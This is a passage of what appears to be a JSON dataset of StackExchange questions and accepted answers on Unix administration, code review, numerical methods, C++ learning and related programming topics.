wishes. 5 months ago I arrived to a good comfort-zone.Now I want to change my harddrive. In order to make my initial customization more efficiently, I thought of looking up all the commands I've typed in the bash since my last installation. The history command and my .bash_history file under ~$ and ~# only show the command of my last days..How do I do this? and/or How to best keep track of all (successfull) command I type?" , "title": "How to see all commands since last system install(5 months)?" , "tags": "bash;command history;bashrc;bash expansion" } { "id": "_codereview.171101" , "question": "Context:This code compute the data from table ItemReturn into StatReturn.It take about 1 700 000 ItemReturn on the first run. For 2minute, computation and database insert.ItemReturn: (int)Itm_Id, (int)Itm_Item_Serial, (datetime)Itm_CDate, [...]StatReturn : (int)Stat_id, Itm_Id, NbReturn, NbReturn_at30d, NbReturn_at60d, [...]For every return, we need to know: How many time this item was return in different timeframe (30,60,90.. days).An item is unique based on his Serial (Itm_Item_Serial).Function:This function take in input a list of a ItemReturn give as result the `StatReturn.private List<StatReturn> ComputeReturnStat(IEnumerable<ItemReturn> todoReturn){ var ttMSE = todoReturn .GroupBy(x => x.Itm_Item_Serial) .Select(grp => new InfoReturn(grp.Key , grp.Select(x => new MseDate((DateTime)x.Itm_CDate, x.Itm_Id)) .OrderBy(x => x.InterD) .ToArray() , grp.Count() ) ); var result = new List<StatReturn>(); foreach (var mse in ttMSE) { var statReturn = new StatReturn(); statReturn.SR_Compteur = 0; statReturn.SR_NbRetour = (byte)mse.NbRetour; statReturn.SR_NbRetour30J = 0; statReturn.SR_NbRetour60J = 0; statReturn.SR_NbRetour90J = 0; statReturn.SR_NbRetour120J = 0; statReturn.SR_NbRetour180J = 0; statReturn.SR_NbRetour365J = 0; if (mse.NbRetour == 1) { statReturn.SR_Compteur = mse.Items.First().MSE_key; result.Add(statReturn); } else { for (int i = 0; i < mse.NbRetour; i++) { statReturn = new StatReturn(); statReturn.SR_NbRetour = (byte)mse.NbRetour; statReturn.SR_NbRetour30J = 0; statReturn.SR_NbRetour60J = 0; statReturn.SR_NbRetour90J = 0; statReturn.SR_NbRetour120J = 0; statReturn.SR_NbRetour180J = 0; statReturn.SR_NbRetour365J = 0; statReturn.SR_Compteur = mse.Items[i].MSE_key; for (int j = i - 1; j >= 0; j--) { var delay = (mse.Items[i].InterD - mse.Items[j].InterD).Days; if (delay <= 30) { statReturn.SR_NbRetour++; statReturn.SR_NbRetour30J++; } else if (delay > 30 & delay <= 60) { statReturn.SR_NbRetour++; statReturn.SR_NbRetour60J++; } else if (delay > 60 & delay <= 90) { statReturn.SR_NbRetour++; statReturn.SR_NbRetour90J++; } else if (delay > 90 & delay <= 120) { statReturn.SR_NbRetour++; statReturn.SR_NbRetour120J++; } else if (delay > 120 & delay <= 180) { statReturn.SR_NbRetour++; statReturn.SR_NbRetour180J++; } else if (delay > 180 & delay <= 365) { statReturn.SR_NbRetour++; statReturn.SR_NbRetour365J++; } } result.Add(statReturn); } } }; return result;}Additional information:InfoReturn, is a custom class. int nser; // Itm_Item_SerialMseDate[] items; // list of Return id (Itm_Id) and Dateint nbRetour; // Total of returnThere is a byte cast in code because database is in small in so Linq-to-SQL type is byte.All comment have been delete, and all variable have been translated for the post. A lot of column in database are nullable, so we set them to 0 by default. " , "title": "Counting the number of returning item for a TimeFrame" , "tags": "c#" , "accepted_answer": "first var var statReturn is only used in if (mse.NbRetour == 1)delay > 30 and other > are redundant change statReturn to default those values to 0 I think you could do this sorted output and not need the GroupBy if you are having performance issues. Or do it in TSQL. " } { "id": "_unix.232216" , "question": "I have website which is password protected where runs a php app on it. Now I have to unprotect a sub-url of that website but without disablng the protection of the main site which is configured through plesk. This sub-url is given by the php app and is not a physical folder. Any hints how I can achieve that?OS Ubuntu 14.04.3 LTSWebserver Apache2 Plesk Version 12.0.18How do I find where plesk is storing/managing the RequireUser directives for my website? I assuming it is writing in somewhere into a vhost.conf? Or does plesk uses a different approach to manage password protected directories?" , "title": "Ubuntu & Plesk - How to exclude a sub-url from password protection?" , "tags": "ubuntu;password;plesk;apache virtualhost" } { "id": "_codereview.110256" , "question": "The task was to build a knight_moves method which when called would display the simplest path from one given square to the other given square.My Solution:class Square attr_accessor :x, :y, :children, :parent def initialize(x,y, parent=nil) @x = x @y = y @children = [] @parent = parent endenddef create_children(board) potentials = [] potentials.push( [board.x + 2, board.y + 1], [board.x + 2, board.y - 1], [board.x + 1, board.y + 2], [board.x + 1, board.y - 2], [board.x - 2, board.y + 1], [board.x - 2, board.y - 1], [board.x - 1, board.y + 2], [board.x - 1, board.y - 2] ) valid_children = potentials.select do |space| space[0].between?(0,8) && space[1].between?(0,8) end valid_children = valid_children.map do |space| Square.new(space[0], space[1], board) end @children = valid_childrenenddef knight_moves(first_square,final_square) first_children = Square.new(first_square[0],first_square[1]) create_children(first_children) bfs(final_square, @children)enddef bfs(search_value,children) queue = children loop do current = queue.shift if [current.x,current.y] == search_value display_path(current) break else create_children(current).each {|child| queue << child} end endenddef display_path(current) parent = current.parent array = [] while !parent.nil? array << [parent.x,parent.y] parent = parent.parent end array.reverse! array << [current.x,current.y] puts Your path is: array.each {|i| p i}endMethod Callknight_moves([2,5],[4,7])" , "title": "Knight's Travails in ruby" , "tags": "algorithm;ruby;chess" , "accepted_answer": "BugThis:knight_moves([2,5],[2,5])prints:Your path is:[2, 5][4, 6][2, 5]Not the shortest path. In knight_moves, simply call bfs with [first_child] as the children argument. There's no need to call create_children in knight_moves; bfs can compute the first level of the search tree the same way it computes all other levels.Global variableIn create_children, you're setting @children which acts like a global variable as this method isn't inside a class. Simply return valid_children without setting any variables.(You're not setting Square#children because the method isn't inside Square. You actually never use Square#children. Remove this field from Square).NamingRename:Square -> Node (The class represents a node in the search tree. A true Square class would only have x and y fields).create_children -> child_nodesfirst_children -> rootboard argument -> node (or parent)display_path -> print_pathMissing Square classThe code sometimes uses an [x, y] array for squares, and sometimes the x and y fields of Node. This makes the code full of wrapping of unwrapping:# lines that unwrap an [x, y] array:Node.new(space[0], space[1], board)first_child = Node.new(first_square[0],first_square[1])# lines that create an [x, y] array:if [current.x,current.y] == search_value array << [current.x,current.y]You can eliminate this by creating a Square class and use it for representing squares everywhere in the code (including in Node):class Square attr_reader :x, :y def initialize(x, y) @x = x @y = y end def ==(other) [self.x, self. y] == [other.x, other.y] end def to_s [self.x, self.y].to_s endendI already implemented equality (for the comparison in bfs) and to_s (for printing in print_path). Then change Node to use a Square: (also, use attr_reader)class Node attr_reader :square, :parent def initialize(square, parent=nil) @square = square @parent = parent endendNow replace any [x, y] array in the code with a Square:# in child_nodes:square = node.square...Square.new(square.x + 2, square.y + 1),...space.x.between(0, 8) &&...Node.new(space, node)# in knight_moves:Node.new(first_square)# in bfs:if current.square == search_value# in print_path:array << parent.squarearray << current.squareputs i # instead of p i, so to_s is used# calling knight_moves:knight_moves(Square.new(2, 5), Square.new(4, 7))Missing Square methodsMost of child_nodes deals with squares, so most of its functionality should be inside Square methods. The only thing it does that doesn't involve only squares is creating nodes, so it should do just that:def child_nodes(node) node.square.knight_moves.map do |square| Node.new(square, node) endendSquare#knight_moves is a new method that returns an array of the squares that can be reached from the current one. It should look something like this:def knight_moves [ Square.new(self.x + 2, self.y + 1), ... ].select { |square| square.valid? }endThis requires adding a Square#valid? to check if a square's coordinates are legal.Revisiting knight_movesknights_moves does too little now, it only creates a root node and put it in a one-element array. I would remove it and move its functionality to bfs (Make bfs accept first_square and final_square as arguments, and call it directly).Seperating logic and printingDon't print the path in bfs, just return it (the array of squares) and let the main code print it. You can simplify the code for getting the path:def path_from_root(current) array = [] loop do array << current.square current = current.parent break if current.nil? end array.reverseend" } { "id": "_cs.40699" , "question": "I am working on the following problemFind the linear least squares unit weights for the `OR' problem, ie.$v_1^T = (0,0), v_2^T = (1,0), v_3^T = (0,1), v_4^T = (1,1)$ and $u_1 = 0, u_2 = u_3 = u_4 = 1$.Here $v$ represent inputs and $u$ outputs. For problems like this I usually find a matrix $W$ (the weights) such that $$u_i=Wv_i \\quad i=1,2,3,4$$ but I think it is obvious a matrix doesn't exist. my reasoning being that the problem is equivalent to finding the matrix $W = \\begin{pmatrix} x_1 & x_2 \\end{pmatrix} $ such that $$\\begin{pmatrix} 0 & 1 & 1 & 1 \\end{pmatrix} = \\begin{pmatrix} x_1 & x_2 \\end{pmatrix} \\begin{pmatrix} 0 & 0 & 1 & 1 \\\\ 0 & 1 & 0 & 1 \\end{pmatrix}$$ And looking at the two middle columns of the left vector and right matrix we must have $x_1=x_2 =1$ but then we get $1 + 1 = 1$, a contradiction. In a unit perceptron a function may be applied to the output, and a step function $$f(x) \\begin{cases}0 & x \\leq 0 \\\\1 & x > 0\\end{cases}$$ would work here.My question here is, is this correct? I wasn't quite sure if I am answering the right question. I am pretty sure $u_i = f(Wv_i)$ but I am not too familiar with what is meant by linear least squares unit weights in this context?" , "title": "Creating a single layer perceptron for the OR problem" , "tags": "neural networks;linear algebra;boolean algebra" , "accepted_answer": "The fact that you mention linear least squares error seems to hint that they want you to use a completely linear model $u_i=Wv_i$ for your perceptron. In this case you won't get exact answers like $0$ and $1$; you will only get approximations with some amount of error.That said, I don't think a linear model makes sense for this problem, since it is a classification problem with two classes. Using a non-linear step-like function $f$ before the final output of a perceptron classifier is a pretty standard thing to do, so I see no problem with using $u_i=f(Wv_i)$. Assuming you can use $f$, using the weights $x_1 = x_2 = 1$ as you mentioned solve this problem exactly with zero error." } { "id": "_webmaster.101608" , "question": "I have a Google site in which I have a gadget which sends data to Google Analytics using its send method which is written in the javascript of my Google gadget.I am able to see the data in my User Explorer of Google Analytics. I get a Review permission button on my Google sites page which I find very annoying. It adds the gadget to the list of user's authorized apps which the user can easily delete and hence the user wont be tracked. I need some custom parameters to be extracted from Google sites while the user is browsing my website.A better option was to provide an add-on. However, due to Google's restriction on Javascript that was not possible.Is there any better way to do get user analytics. If so, please suggest." , "title": "How to implement Google Analytics explicity in Google sites?" , "tags": "google analytics;google sites" } { "id": "_unix.185252" , "question": "sudo service squid3 status works, implying squid is in upstart.However a listing of services usingsudo service --status-all does not show squid. Neither does sudo update-rc.d squid3 defaultswork (gives an error saying update-rc.d: /etc/init.d/squid3: file does not exist).On doing some research I found that:squid3.conf is in /etc/initBut not in /etc/init.dNot listed in any runlevels /etc/rc?.dMy objective is to not have squid start at runtime. I was hoping to do this using upstart. Without this my only option is to comment out the run level line: start [2345l]. Correct?Also why this weirdness? Any thoughts, explanations?I am on Ubuntu 14.04." , "title": "update-rc.d squid3 init.d init weirdness" , "tags": "ubuntu;upstart;squid" } { "id": "_softwareengineering.276778" , "question": "After having written some python scripts with comments for documentation inside, is it a good idea and possible to aggregate the documentation comments from multiple scripts into some standalone documentation file such as README?Furthermore, is it possible to aggregate them in some markup format such as Markdown?Thanks." , "title": "Aggregate documentation comments from multiple scripts into README?" , "tags": "python;documentation generation" } { "id": "_scicomp.25294" , "question": "I want some scalar spline function defined on regular 2D grid $F(x,y)$ with continuous first derivative which is easy to intersect with arbitrary ray/line ${\\vec l}(t) = (c_x t,c_y t,c_z t)$. Finding the intersection means finding roots of equation $f_{c_x,c_y}(t)-c_zt=0$ where $f_{c_x,c_y}(t)=F(c_x t, c_y t )$ are values of the spline along the line ${\\vec l}(t)$.Since it is easy to find roots of quadratic polynominal I want $f_{c_x,c_y}(t)$ to be piecewise quadratic polynominal for any ${c_x,c_y}$.What is the problem / what is not a solution:consider bi-quadratic B-spline on rectangular grid created by tensor-product of 1D quadratic B-splines. The result is bi-quadratic which means it is $f_{c_x,c_y}(t)$ is 4-th order polynominal.function composed of Quadratic Bezier-triangles. While it is certainly just quadratic function along any direction, it is hard ensure continuous derivatives at the boundary between triangles. " , "title": "C1 continuous spline on regular 2D-grid with quadratic 1D cuts" , "tags": "interpolation;b spline;grid" } { "id": "_unix.329564" , "question": "I love tmux, but whenever I need to create a split with a new pane or a new window it has to run my zsh init scrips and .profile, etc. And they take about a few seconds to run. Initializing stuff like fasd etc.Is it possible to make it faster to start? " , "title": "Faster startup of zsh" , "tags": "zsh;performance;profiling" } { "id": "_unix.26189" , "question": "The execstack program can be used to mark ELF-binaries as needing an executable stack. Is there a similar way to mark the heap as executable? Preferably for a single binary but if that's not possible, a system-wide solution would be useful too." , "title": "Set executable heap" , "tags": "linux;executable" } { "id": "_scicomp.1988" , "question": "It appears that matlab's eigs is giving me bad approximations of the smallest eigenvectors of a matrix. I assume I can use some slower methods which would also be more accurate...I am looking to find the 2nd smallest eigenvector of a lapalcian matrix (known as the fiedler vector). I know of course that the smallest eigenvector of a laplacian matrix is the constant vector.Any suggestions for a more accurate method?P.SIn all the above, when I say smallest eigenvector I mean the eigenvector associated with the eigenvalue of smallest magnitude. " , "title": "Compute smallest eigenvectors of a matrix" , "tags": "eigensystem;matlab" , "accepted_answer": "There is a straightforward way to exploit your a priori knowledge of the smallest eigenpair: you could simply project out the component of the current eigenvector estimate in the direction of the constant vector in each iteration of, say, inverse iteration. You should then expect the iterate to converge to the eigenvector corresponding to the second smallest eigenvalue, your desired Fiedler vector.Depending on the connectivity of your graph, you may or may not want to run a sparse-direct factorization before inverse iteration in order to accelerate the applications of $A^{-1}$. Once the inverse iteration approach is working, you could also consider replacing it with a Krylov algorithm, which takes a little more work to code but should converge faster." } { "id": "_unix.38167" , "question": "Some days ago I bought headet (Jabra BT2045) and I want to use it in Skype voicechat and for example to forward to it another sound streams from my KDE.I've successfully paired and setup as headset Jabra with Blueman or BlueDevil. After that Jabra interface appeared in Phonon list and I moved it to the top of list to transfer music to Jabra, not to my main output. But! There is no sound even if I change output manually with kmix for the streams, or when I've already setup Jabra as default output interface, microphone even don't work! Skype don't see that Jabra interface at settings and sound will appear if I reset all to my standard output (loudspeakers).What am I doing wrong? My dist is Linux Mint and pulseaudio/kde/blueman/bluedevil are up to date from mint repos." , "title": "Pulseaudio, Phonon, KDE and forwarding sound to headset" , "tags": "kde;audio;pulseaudio" } { "id": "_softwareengineering.101434" , "question": "I've wanted to learn C++ for awhile and took AP Computer Programming in High School (back when it was C++ and not Java). I enjoy C and just haven't found the time to learn C++ or I'll just fall back on C# where I'm much more productive. My question is this: given that C++ '11 has been approved (although I know not fully implemented) does this change the way I should approach learning C++? I own C++: The Complete Reference By Herb Schildt which is from 1998. Does the newly approved standard make learning from such books less important than some of the newer tutorials/books that include things from the standard? Is there any benefit from learning from the older books?" , "title": "Given C++ '11 Was Approved, Does This Change How A C++ Beginner Learns The Language?" , "tags": "learning;c++" , "accepted_answer": "Absolutely. These days three things that are usually in lesson 2 should move much, much later:strings as arrays of char*, the strlen, strxxx methods, and so on arrays in general and pointer arithmeticdelete what you new, delete[] what you new[], and even destructorsThese things that are usually in lesson 99 should move much, much earliertemplates as things to use (write, not so much)std::stringstd::shared_ptr<>std::vector<>, iterators, other collectionsEvey raw pointer should immediately be given to a smart pointer wrapper (I would start with shared, and consider unique later since it requires explaining std::move and rvalue references). Doing this will make learning C++ feel a lot like learning Java or C#, where you learn the library at the same time as the language. It will take away a lot of the memory work, too, and leave people less worried about gotchas.I would also work lambdas into the picture the first time we wanted to iterate through a collection and do something to each element.Disclaimer: I am writing a C++ course for Pluralsight right now and using this approach. The last module is understanding other people's code and that is where I will put the confusing stuff like char* strings, manual memory management, pointer arithmetic, and so on.Update: a few people have asked why the existence of C++0x inspires teaching things that could have been taught with C++03. I think it's a number of things:truly smart pointers, that are collection friendly, take away the need for things like an array of Employee pointers that were causing us to always fall back on new/delete, pointer arithmetic etcauto takes away the pain of iterator declarations lambdas make foreaching something an ordinary person would doeven something as trivial as parsing >> correctly eliminates the gotcha that would be there when declaring some templates of templatesand so onThe way I see it, there are things we could have changed about the way we were teaching C++ some time ago, but some of us held back because we still needed the old-school way for a fallback or because teaching it just involved a lot of arcane knowledge." } { "id": "_unix.210346" , "question": "My Fedora 22 (workstation-gnome) home pc has two accounts: steve, which has no password, and root which does have a password. On this website, the fedora 22 - change from gnome to kde4topic may have reached an impasse. It seems that the Gnome to KDE desktop is user specific; its manipulation apparently requires that the user ID have a password, at least temporarily.I believe that I can resolve this by:logging in as rootsetting a password for the steve accountlogging in as steve, with the password, simultaenously changing the steve account to kdelogging back in as root and eliminating the password from the steve account.How do I do #'s 2 and 4 above? After #4, I will want the steve account to have no password." , "title": "Manipulating a (non-root) password in Fedora 22" , "tags": "password" } { "id": "_unix.122189" , "question": "I'd like to override some hardcoded paths stored in pre-compiled executables like /usr/share/nmap/ and redirect them to another dir.My ideal solution should not require root priviledges, so creating a symlink is not ok.(Also recompiling it's not an option)" , "title": "override hardcoded paths in executables" , "tags": "executable;sandbox;portable" , "accepted_answer": "I've just found this ptrace-based chroot reimplementation: PRoot.The bind function is just what i was looking for!This is more reliable than replacing strings in the executable + can be easily used in scripts..." } { "id": "_cs.47942" , "question": "Can quantum computer become perfect chess player?Can it determine whether (when both players are perfect) win white or black? (or is it dead heat?)" , "title": "Can quantum computer become perfect chess player?" , "tags": "quantum computing" , "accepted_answer": "I've already answered essentially this question, on Chess Stack Exchange. The executive summary is that chess doesn't seem particularly well-suited to quantum computation's strengths so there's no particular reason to believe that a quantum computer would be any better at it than a classical one." } { "id": "_webapps.65787" , "question": "I have just created a Tumblr blog using the Indy theme. After creating a new post, I noticed that the notes do not show up, just a short line.I tried searching for an option to make the notes visible, but I could not find it. As it was pointed out, apparently not all themes display notes.How do I make the notes visible if using the Indy theme? What changes do I have to make to its HTML? Here is my blog if you need to see what I am talking about: empathetic-moose.tumblr.comThank you." , "title": "Making notes visible when using a Tumblr theme that doesn't show them" , "tags": "tumblr;tumblr themes" } { "id": "_unix.155291" , "question": "I need to provide user access to Ubuntu 14.04 Server, only limited to certain folder. To enjoy the ssh security and not to open up new service and ports (ie, ftp), I'd like to stick with sftp. However, just creating a user and enabling ssh access is too generous - the user then can log on via ssh and see whatever there is that is viewable by everybody.I need the user to find themselves in a specific directory after login, and, according to their privileges, read/write files, as well as create folders where permitted. No access to any file or directory above the user's root folder.What would be the suggested method to achieve this? Is there some very restricted shell type for this? I tried with$ usermod -s /bin/false <username>But that does not let the user to cd into subfolders of their base folder." , "title": "Provide sftp read/write access to folder and subfolders, restrict all else" , "tags": "ssh;permissions;sftp" , "accepted_answer": "If you want to restrict a user to SFTP, you can do it easily in the SSH daemon configuration file /etc/ssh/sshd_config. Put a Match block at the end of the file:Match User bobForceCommand internal-sftpChrootDirectory /path/to/rootAllowTCPForwarding noPermitTunnel noX11Forwarding noIf the jail directory is the user's home directory as declared in /etc/passwd, you can use ChrootDirectory %h instead of specifying an explicit path. This syntax allows specifying a group of user accounts as SFTP-only all users whose group as declared in the user database is sftponly will be restricted to SFTP:Match Group sftponlyForceCommand internal-sftpChrootDirectory %hAllowTCPForwarding noPermitTunnel noX11Forwarding no" } { "id": "_datascience.865" , "question": "I need to build parse tree for some source code (on Python or any program language that describe by CFG).So, I have source code on some programming language and BNF this language.Can anybody give some advice how can I build parse tree in this case?Preferably, with tools for Python." , "title": "How to build parse tree with BNF" , "tags": "python;parsing" , "accepted_answer": "I suggest you use ANTLR, which is a very powerful parser generator. It has a good GUI for entering your BNF. It has a Python target capability." } { "id": "_unix.216538" , "question": "I'm trying to install LMDE 2 'Betsy' 64-Bit dual-booting with Windows 8.1 and both systems encrypted separately, Windows with truecrypt and LMDE with luks. When booting I want to be asked for the truecrypt volumes password and when I press Esc GRUB should start and boot the encrypted Linux. I want to have a LVM partition for my data which will be my home directory in Linux and which I plan to access with https://github.com/t-d-k/LibreCrypt . My problem is that I can't get GRUB working.Most of the following steps I took from https://wiki.ubuntuusers.de/system_verschl%C3%BCsseln and changed them to fit my needs.Here is my setup although Windows is not encrypted yet:/dev/sda1 Windows Recovery ntfs/dev/sda2 Boot ext4 300MiB/dev/sda3 Windows 8.1 truecrypt/dev/sda4 crypt-luks crypt-luksAnd here is what I did:Boot LMDE 2 from USB stick.Select German as language.Do the other stuff until I have to select a partition. There I enter Expert Mode where I get asked to mount my target System under /Ziel but it needs to be /target. I start to get the system ready with:cryptsetup -c aes-xts-plain64 -s 512 -h sha512 luksFormat /dev/sda4cryptsetup luksOpen /dev/sda4 lukslvmpvcreate /dev/mapper/lukslvmvgcreate vglmde /dev/mapper/lukslvmThen I create my logical volumes:lvcreate -L 8G -n swap vglmdelvcreate -L 25G -n root vglmdelvcreate -l 100%FREE -n home vglmdeI format these partitions with labels:mkswap /dev/mapper/vglmde-swap -L swapmkfs.ext4 /dev/mapper/vglmde-root -L rootmkfs.ext4 /dev/mapper/vglmde-home -L homeThen I mount the logical root partition in /target to continue installing:mkdir /targetmount /dev/mapper/vglmde-root /targetmkdir /target/bootmount /dev/sda2 /target/bootmkdir /target/homemount /dev/mapper/vglmde-home /target/homeThen I continue the installation. When asked I choose that GRUB should be installed in /dev/sda2 because that is my boot partition.After the dialog Installation paused shows up, I perform the following steps:mount -o rbind /dev /target/devmount -t proc proc /target/procHere I get the message that proc is already mounted on /target/procmount -t sysfs sys /target/sysHere it says that sys is already mounted or /target/sys is busy.cp /etc/resolv.conf /target/etc/resolv.confchroot /target /bin/bashThen I make sure the required packages are up-to-date.apt-get updateapt-get install cryptsetup lvm2To set up the /etc/crypttab I first get the UUID and then append to the crypttab replacing with the UUID.blkid /dev/sda4echo lukslvm UUID=<MY_UUID> none luks >> /etc/crypttabThen I append some necessary modules.echo dm-crypt >> /etc/modulesecho ohci_pci >> /etc/initramfs-tools/modulesupdate-initramfs -u -k all -tAnd I edit the /etc/fstab .echo /dev/sda2 /boot ext4 defaults 0 2 >> /etc/fstabecho /dev/mapper/vglmde-root / ext4 defaults,errors=remount-ro 0 1 >> /etc/fstabecho /dev/mapper/vglmde-swap none swap sw 0 0 >> /etc/fstabecho /dev/mapper/vglmde-home /home/ ext4 defaults 0 2 >> /etc/fstabThen I update GRUB and leave chroot.update-grubexitsyncAnd continue the installation.When asked if I want to reboot I say yes and......at reboot I get the following output:error: no such partitionEntering rescue mode...grub rescue>Now I can't figure out where I went wrong. Am I right that GRUB should have loaded normally when there is no other boot-able partition?P.S. When debugging the following commands let you use the installed system when on a live disc.Mounting the encrypted Volumecryptsetup luksOpen /dev/sda4 lukslvmSearch and add the volume groups.vgscanvgchange -a yMount the volumes as usualmount /dev/mapper/vglmde-root /mnt" , "title": "Problem with GRUB for dual-boot installation of LMDE 2 (and Windows) on encrypted luks-lvm (truecrypt)" , "tags": "grub2;dual boot;luks;lmde" } { "id": "_unix.237817" , "question": "I have a process that receives a video file (RAW) and transcodes it with FFMPEG generating three (different resolutions) resultant files. I'm using a distributed task queue system (Celery) to process every process from FFMPEG in a different asynchronous task.The three tasks run, according to the flowConvert videoUpload result to a bucket in cloudDelete resultAnd a last task upload the RAW video (used for transcoding) to bucket, and delete it.If I start the three tasks asynchronously, and delete the RAW file just after, will the tasks (that are using the RAW file) be interrupted by deleting the file?PS: I assuming that, the RAW file is loaded in memory, and opened three times, while the transcoding task were started." , "title": "Delete file while it is in use" , "tags": "files;concurrency" , "accepted_answer": "The assumption that the complete RAW file is in memory is not true. Normally, when a file is opened the process gets a file descriptor which can be used to read/write the file.When a file is opened by a process and then is deleted while the file is still open does not actually delete the file instantly. The file is actually deleted when there are no processes anymore with handles (file descriptors) to that file. You can use lsof to see if the file still has handles and when you delete such file it is often listed with the (deleted) text appended to the line.Disk space is also not reclaimed when an open file is deleted so it is safe to still use the file as long as it is open. When the deleted file does not have active file descriptors anymore the filesystem will reclaim the consumed disk space." } { "id": "_datascience.641" , "question": "I'm currently searching for labeled datasets to use to train a model to extract named entities from informal text (think something similar to tweets). Because capitalization and grammar are often lacking in the documents in my dataset, I'm looking for out of domain data that's a bit more informal than the news articles and journal entries that many of today's state of the art named entity recognition systems are trained on. Any recommendations? So far I've only been able to locate 50k tokens from twitter published here: https://github.com/aritter/twitter_nlp/blob/master/data/annotated/ner.txt" , "title": "Dataset for Named Entity Recognition on Informal Text" , "tags": "dataset;nlp" } { "id": "_softwareengineering.216750" , "question": "MotivationThe main idea is to explore and understand the limits of how far one can go with the basic LINQ primitives (Select, SelectMany, Concat, etc.). These primitives can all be considered functional operations on a theoretical sequence type. Taking examples from Haskell:Select 'lifts' a function into the sequence (like fmap in Haskell)Concat is compositionAggregate is the sequence type's catamorphism (fold)SelectMany 'extracts' information from the sequence (the Monad bind, >>= operation)etc. (and I'm sure there are better abstractions for the above)So the question is whether or not the basic sequence (Enumerable) operations in C# are enough to construct an infinite sequence. More concretely it is the following problem:ProblemI'm curious to know if there's a way to implement something equivalent to the following, but without using yield:IEnumerable<T> Infinite<T>(){ while (true) { yield return default(T); }}Is it possible to do sue using the built-in LINQ operators only? The short answer is that theoretically yes, but practically not because of how Linq is implemented (causing stack overflows).That's why here are less restrictive rules:RulesAlternatively a less restrictive question would go by the rulesYou can't use the yield keyword directlyUse only C# itself directly - no IL code, no constructing dynamic assemblies etc.You can only use the basic .NET lib (only mscorlib.dll, System.Core.dll? not sure what else to include). However if you find a solution with some of the other .NET assemblies (WPF?!), I'm also interested.Don't implement IEnumerable or IEnumerator.NotesAn example theoretically correct definition is:IEnumerable<int> infinite = null;infinite = new int[1].SelectMany(x => new int[1].Concat(infinite));This is correct but hits a StackOverflowException after 14399 iterations through the enumerable (not quite infinite).I'm thinking there might be no way to do this due to the C#'s compiler lack of tail recursion optimization. A proof would be nice :)" , "title": "Is it possible to implement an infinite IEnumerable without using yield with only C# code?" , "tags": "c#;linq;clr" , "accepted_answer": "Even if your assertion was true, proving it would be infeasible, because the proof would have to go through all implementations of IEnumerable in the framework and prove for each one of those that it can't be infinite.And your assertion actually isn't true, there is at least one implementation of IEnumerable in the framework that can be infinite: BlockingCollection.GetConsumingEnumerable():What you would do is to create a bounded BlockingCollection that's filled in an infinite loop from a separate thread. Calling GetConsumingEnumerable() will then return an infinite IEnumerable:var source = new BlockingCollection<int>(1);Task.Run(() => { while (true) source.Add(1); });return source.GetConsumingEnumerable();" } { "id": "_webapps.1383" , "question": "I assume probably most of you use Google Reader for following and reading RSS or Atom feeds. My question is are there any web alternatives that some of you have used and are happy with?" , "title": "Are there other web alternatives of Google Reader?" , "tags": "webapp rec;google reader;rss" } { "id": "_scicomp.11787" , "question": "I am comparing the performance several finite difference methods of solving an initial-boundary value problem. There are several dimensions to this comparison:Number of cellsNumber of timestepsSolution Method:Explicit (one sweep on a single thread, no iterations)Alternating Direction Explicit (two sweeps on separate threads, no iterations)Alternating Direction Implicit (two sweeps on one thread [TDMA] with three sub-timesteps, no iterations)Fully Implicit (any number of threads, using an iterative BICGSTAB solver)Question:My question is this: What metric should I use to compare the relative performance for various combinations of number of cells, number of timesteps, and solution method? There is some information on performance metrics on David J. Lilja's website. He seems to consider execution time (wall and CPU) as the best metric. But I'm wondering if there might be a more suitable metric for my application.Here is what I've considered so far:Wall time and CPU time: This is easy to measure, but the problem is that it is only representative for computer architecture where the program is executed. I'm doing most of my testing on a 24 core machine...which won't be representative of typical applications. It would be nice not to have to include a description of the machine's architecture every time I publish results. Are there meaningful ways to normalize measured time to avoid this problem?Number of Operations: Sum of (N_iterations*N_sweeps*N_sub-timesteps*N_cells)/(N_threads) across all timesteps.This is repeatable and platform independent, but it doesn't include some of the overhead of setting up the initial-boundary value problem and creating matrices, etc. It also makes some simplifying assumptions about threading overhead.It would also be nice to give a rough estimate of parallel and serial performance, so that someone could get a sense of what the speed up would be for a given number of processors (i.e., a way to extrapolate from the results on my 24 core machine)." , "title": "Performance metrics to compare initial-boundary value problem solutions" , "tags": "linear algebra;pde;performance;iterative method;explicit methods" } { "id": "_unix.32593" , "question": "I upgraded to PHP5.3 using this tutorial: http://www.debiantutorials.com/how-to-install-upgrade-to-php-5-3-on-debian-lenny/It removed the following packages:Removing php-pear ...Removing php5-pgsql ...Removing php5-mysql ...Removing php5-mcrypt ...Removing php5-ldap ...Removing php5-gd ...Removing php5-curl ...Removing php5-sasl ...Removing php5-cli ...All seemed well, it warned me those packages would be removed, which was fine, I figured I could just install them after. But now, when I try, it warns me that I am missing dependencies:The following packages have unmet dependencies: php5-cli: Depends: libc6 (>= 2.11) but 2.7-18lenny7 is to be installed Depends: libdb4.8 but it is not installable Depends: libgssapi-krb5-2 (>= 1.6.dfsg.2) but it is not installable Depends: libk5crypto3 (>= 1.6.dfsg.2) but it is not installable Depends: libkrb5-3 (>= 1.6.dfsg.2) but it is not installable Depends: libncurses5 (>= 5.7+20100313) but 5.7+20081213-1 is to be installed Depends: libreadline6 (>= 6.0) but it is not installable Depends: libssl0.9.8 (>= 0.9.8m-1) but 0.9.8g-15+lenny16 is to be installed Depends: libxml2 (>= 2.7.4) but 2.6.32.dfsg-5+lenny5 is to be installedE: Broken packagesWhat can I do to fix this issue and get these back?" , "title": "Debian: Upgraded to php 5.3 and lost phpcli, php-pear, etc" , "tags": "linux;debian;apt;php" } { "id": "_unix.159732" , "question": "Okay, I've been trying to repair my GRUB for awhile on my version of Lubuntu 14, and nothing seems to work. It seems that an update has broken my GRUB, so that now when I try to boot on the computer, it only takes me to a black screen where I can type, but none of the inputs do anything. After resetting it once or twice, it takes me a screen of options, where I select recovery mode, and then from the recovery mode menu to boot normally, which does indeed make it boot normally. I tried Boot Repair twice, and it said it works, but nay. I actually got two separate paste messages too after each attempted repair. I'm not sure if anyone will care for the first, but here's the second: http://paste.ubuntu.com/8503260 . What should I do? " , "title": "Update Corrupted GRUB; Can't Boot Right" , "tags": "linux" } { "id": "_unix.85658" , "question": "So I have a custom in-house app developed by a 3rd party. When the app is running, I can verify it is running with the screen -ls command. As long as screens are running for rails and freeswitch then I know the app is properly up and running. We have a specific bash script to stop the services related to the app, and 2nd script to start the services related to the app. My question is how can I combine both these scripts to restart the app into 1 script that works like the following:Run script 1 - stop appWait until app has shutdown (screen processes are no longer running)Run script 2 - start appWait until app has startedCheck screen sockets to make sure a rails and freeswitch process is running. If not, then go back to step 1 and repeat. Right now to restart the app:I manually run the 